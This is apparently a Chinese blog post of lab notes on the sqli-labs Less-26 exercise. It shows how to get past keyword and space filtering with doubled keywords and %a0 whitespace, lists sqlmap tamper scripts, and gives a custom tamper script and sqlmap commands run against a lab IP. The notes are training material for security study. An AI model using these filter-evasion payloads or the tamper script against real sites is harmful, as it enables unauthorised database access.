https://sqlmap.org/
1. --+
2. %23 --》代表#
3. 尝试宽字节注入
4. 尝试id=2' and '1 # 返回发现and消失
5.使用双写:id=2' aANDnd '1 #发现空格过滤
6.使用双写:id=2'+aANDnd+'1 # 发现+号也被过滤掉
7. 代替空格:id=2'%20aANDnd%20'1 #空格被过滤,使用代替16进制 --》%20,发现也被过滤
8. 使用注释: id=2'/*--*/aANDnd/**--**/'1
9.可以使用空格代替字符,(%09, %0A, %0d, %0c, %a0)
10. id=2'%a0aANDnd%a0'1 # 测试可以使用
例如"%c0%af",来欺骗应用程序。这些编码的特殊字符在某些情况下会被解析为斜杠(/),从而绕过应用程序的输入验证过程
~\tools\sqlmap
python .\sqlmap.py -u "http://10.4.7.130/sqli-labs/less-26/?id=1"
发现没有跑出来
find / -name "*sqlmap*"
/usr/share/sqlmap # 发现sqlmap在此文件中
SQLMap是一款SQL注入神器,可以通过tamper对注入payload 进行编码和变形,以达到绕过某些限制的
目的。但是有些时候,SQLMap自带的Tamper脚本并不是特别好用,需要根据实际情况定制Tamper脚本。
sqlmap,Tamper详解及使用指南
tamper
cp -R tamper tamper.bak #备份复制模版
序号 | 脚本名称 | 注释 |
---|---|---|
1 | 0x2char | 将每个编码后的字符转换为等价表达 |
2 | apostrophemask | 单引号替换为Utf8字符 |
3 | apostrophenullencode | 替换双引号为%00%27 |
4 | appendnullbyte | 有效代码后添加%00 |
5 | base64encode | 使用base64编码 |
6 | between | 比较符替换为between |
7 | bluecoat | 空格替换为随机空白字符,等号替换为like |
8 | chardoubleencode | 双url编码 |
9 | charencode | 将url编码 |
10 | charunicodeencode | 使用unicode编码 |
11 | charunicodeescape | 以指定的payload反向编码未编码的字符 |
12 | commalesslimit | 改变limit语句的写法 |
13 | commalessmid | 改变mid语句的写法 |
14 | commentbeforeparentheses | 在括号前加内联注释 |
15 | concat2concatws | 替换CONCAT为CONCAT_WS |
16 | equaltolike | 等号替换为like |
17 | escapequotes | 双引号替换为\\ |
18 | greatest | 大于号替换为greatest |
19 | halfversionedmorekeywords | 在每个关键字前加注释 |
20 | htmlencode | html编码所有非字母和数字的字符 |
21 | ifnull2casewhenisnull | 改变ifnull语句的写法 |
22 | ifnull2ifisnull | 替换ifnull为if(isnull(A)) |
23 | informationschemacomment | 标示符后添加注释 |
24 | least | 替换大于号为least |
25 | lowercase | 全部替换为小写值 |
26 | modsecurityversioned | 空格替换为查询版本的注释 |
27 | modsecurityzeroversioned | 添加完整的查询版本的注释 |
28 | multiplespaces | 添加多个空格 |
29 | nonrecursivereplacement | 替换预定义的关键字 |
30 | overlongutf8 | 将所有字符转义为utf8 |
31 | overlongutf8more | 以指定的payload转换所有字符 |
32 | percentage | 每个字符前添加% |
33 | plus2concat | 将加号替换为concat函数 |
34 | plus2fnconcat | 将加号替换为ODBC函数{fn CONCAT()} |
35 | randomcase | 字符大小写随机替换 |
36 | randomcomments | /**/分割关键字 |
37 | securesphere | 添加某字符串 |
38 | sp_password | 追加sp_password字符串 |
39 | space2comment | 空格替换为/**/ |
40 | space2dash | 空格替换为–加随机字符 |
41 | space2hash | 空格替换为#加随机字符 |
42 | space2morecomment | 空格替换为/_/ |
43 | space2morehash | 空格替换为#加随机字符及换行符 |
44 | space2mssqlblank | 空格替换为其他空符号 |
45 | space2mssqlhash | 空格替换为%23%0A |
46 | space2mysqlblank | 空格替换为其他空白符号 |
47 | space2mysqldash | 空格替换为–%0A |
48 | space2plus | 空格替换为加号 |
49 | space2randomblank | 空格替换为备选字符集中的随机字符 |
50 | symboliclogical | AND和OR替换为&&和|| |
51 | unionalltounion | union all select替换为union select |
52 | unmagicquotes | 宽字符绕过GPC |
53 | uppercase | 全部替换为大写值 |
54 | varnish | 添加HTTP头 |
55 | versionedkeywords | 用注释封装每个非函数的关键字 |
56 | versionedmorekeywords | 使用注释绕过 |
57 | xforwardedfor | 添加伪造的HTTP头 |
cd /usr/share/code/bin/
sudo ./code # 如果打不开提示加参数,如下
sudo ./code --no-sandbox --user-data-dir /tmp
Oeunion.py
一个模版,进行编写1.用replace方法
python
m="welcome, test"
m.replace("test", '')
'welcome, ' # 打印
# 使用正则替换:
m = "welcome,test"
import re
re.sub(r"test","tiihuan",m) # 第一个搜索值。第二个替换值,第三个上搜索资源或变量
'wlcome,tihuan' #打印内容
cd /usr/share/sqlmap/temper # 路径
#!/usr/bin/env python
"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
pass
def tamper(payload, **kwargs):
"""
"""
payload = re.sub(r"#", " and '1", payload)
payload = re.sub(r"and", "aANDnd", payload) # 如果忽略大小写加(?i)-r"(?i)and"
payload = re.sub(r"or", "oORr", payload)
payload = re.sub(r" ", "%A0", payload)
return payload
sqlmap.py --help # 查看帮助
--version:显示当前sqlmap的版本号
-h:显示帮助信息
-hh:显示详细的帮助信息
-v VERBOSE:详细级别,VERBOSE为数字,默认为
1. 常规执行
┌──(kali@kali)-[/usr/share/sqlmap]
└─$ python sqlmap.py -u "http://192.168.225.186:11088/sqli-labs/Less-26a/?id=2" -v3 --tamper sqli-label_26.py
2. 加参数指定注入手法,进行排错
--technique U # BEUSTQ中的U执行联合查询
┌──(kali@kali)-[/usr/share/sqlmap]
└─$ python sqlmap.py -u "http://192.168.225.186:11088/sqli-labs/Less-26a/?id=2" -v3 --tamper sqli-label_26.py --technique U
payload = re.sub(r"#", " and '1", payload)
payload = re.sub(r"(?i)and", "aANDnd", payload)
payload = re.sub(r"(?i)or", "oORr", payload)
payload = re.sub(r" ", "%A0", payload)
┌──(kalikali)-[/usr/share/sqlmap]
└─$ python sqlmap.py -u "http://192.168.225.186:11088/sqli-labs/Less-26a/?id=4" -v3 --tamper sqli-label_26.py
┌──(kalikali)-[/usr/share/sqlmap]
└─$ python sqlmap.py -u "http://192.168.225.186:11088/sqli-labs/Less-26a/?id=2" -v3 --tamper sqli-label_26.py --current-db
文章浏览阅读1.1k次。今天小编心血来潮,为大家带来一个很有趣的项目,那就是使用 Python web 框架 Django 来实现支付宝支付,废话不多说,一起来看看如何实现吧。_django 对接支付宝接口流程
文章浏览阅读842次。Zabbix 5.0 LTS,跑了一年多了一直很稳定,前两天空间显示快满了,于是手贱清理了一下history_uint表(使用mysql truncate),结果折腾了一周。大概故障如下:然后zabbix论坛、各种群问了好久都没解决,最后自己一番折腾似乎搞定了。初步怀疑,应该是由于历史数据被清空后,zabbix需要去处理数据,但是数据量太大,跑不过来,所以来不及更新了(?)..._zabbix问题没有更新
文章浏览阅读296次。一、数据结构之字典 key-value
文章浏览阅读9.7k次,点赞3次,收藏13次。最近项目中遇到一个问题,是关于mybatis-plus的字段注解策略,记录一下。1问题调用了A组件(基础组件),来更新自身组件的数据,发现自己组件有个字段总是被清空。2原因分析调用的A组件的字段,属于基础字段,自己业务组件,对这个基础字段做了扩展,增加了业务字段。但是在自己的组件中的实体注解上,有一个注解使用错误。mybatis-plus封装的updateById方法,如果..._mybatisplus strategy
文章浏览阅读1.5k次。显卡天梯图就是显卡的性能排行榜,目前显卡主要有Nvidia(英伟达)和AMD(超微半导体)两大品牌。我们都知道,显卡性能决定了电脑的图像处理能力。对于喜欢玩游戏的电脑用户来说,处理器和显卡是用户最关心的电脑硬件,一块好的显卡对于游戏的运行效率、画面显示会起到重要作用。下面小编就和大家分享一下2020年1月笔记本显卡天梯图,有需要的朋友可以参考参考。2020最新笔记本显卡天梯图以下就是2020年1月..._显卡geforce mx250和gtx1660
文章浏览阅读2.6w次,点赞14次,收藏56次。我们在学习Java语言时由于一些语法错误或者个人书写错误导致程序不能正常运行,或者是程序正常运行但得到的运行结果不是理想的结果,这时候我们就需要对代码段进行断点调试了。设置断点是Java的基本功,下面我就来简单的介绍下断点的设置和运行。初学者常用的IDE是Eclipse和My Eclipse,本文用Eclipse为例。 步骤一:在可能会导致程序非正常运行的代码行前打上断点。..._java如何打断电调试代码
文章浏览阅读3.8k次。如何构建倒排索引,我们将这个过程叫做“索引构建”。如果我们的文档很多,这样索引就一次性装不下内存,该如何构建。硬件的限制 我们知道ram读写是随机的操作,只要输入相应的地址单元就能瞬间将数据读出来或者写进去。但是磁盘不行,磁盘必须有一个寻道的过程,外加一个旋转时间。那么只有涉及到磁盘,我们就可以考虑怎么节省I/O操作时间。【注】操作系统往往以数据块为单位进行读写。因为读一_为某一文档及集构件词项索引时,可使用哪些索引构建方法
文章浏览阅读836次。英特尔技术与制造事业部副总裁卞成刚7日在财富论坛间隙接受中新社记者采访时表示,该公司看好中国市场前景,扎根中国并以此走向世界是目前最重要的战略之一。卞成刚说,目前该公司正面临战略转型,即从传统PC服务领域扩展至所有智能设施领域,特别是移动终端。而中国目前正引领全球手机市场,预计未来手机、平板电脑等方面的发明创新将大量在中国市场涌现,并推向全球。持相同态度的还有英特尔中国区执行董事戈峻。戈峻
文章浏览阅读627次。https://blog.csdn.net/zrs19800702/article/details/53101213http://blog.csdn.net/lzw06061139/article/details/51445311https://my.oschina.net/linuxhunter/blog/654080rgw 概述Ceph 通过radosgw提供RES..._radosgw -c
文章浏览阅读3.7k次,点赞6次,收藏9次。我为什么选择ECharts ? 本周学校课程设计,原本随机佛系选了一个51单片机来做音乐播放器,结果在粗略玩了CN-DBpedia两天后才回过神,课设还没有开始整。于是懒癌发作,碍于身上还有比赛的作品没交,本菜鸡对硬件也没啥天赋,所以就直接把题目切换成软件方面的题目。写python的同学选择了一个时间序列数据的可视化曲线程序设计题目,果真python在数据可视化这一点性能很优秀。..._echarts 时间序列
文章浏览阅读1.6k次。事件类:/** * * * @className: EarlyWarnPublishEvent * * @description:数据风险预警发布事件 * * @param: * * @return: * * @throws: * * @author: lizz * * @date: 2020/05/06 15:31 * */public cl..._applicationeventpublisheraware
文章浏览阅读1.2k次。如需转载请注明出处!点击小图片转到图片查看的页面在Android开发中很常用到,抱着学习和分享的心态,在这里写下自己自定义的一个ImageView,可以实现类似微信朋友圈中查看图片的功能和效果。主要功能需求:1.缩放限制:自由缩放,有最大和最小的缩放限制 2居中显示:.若图片没充满整个ImageView,则缩放过程将图片居中 3.双击缩放:根据当前缩放的状态,双击放大两倍或缩小到原来 4.单指_imageview图片边界回弹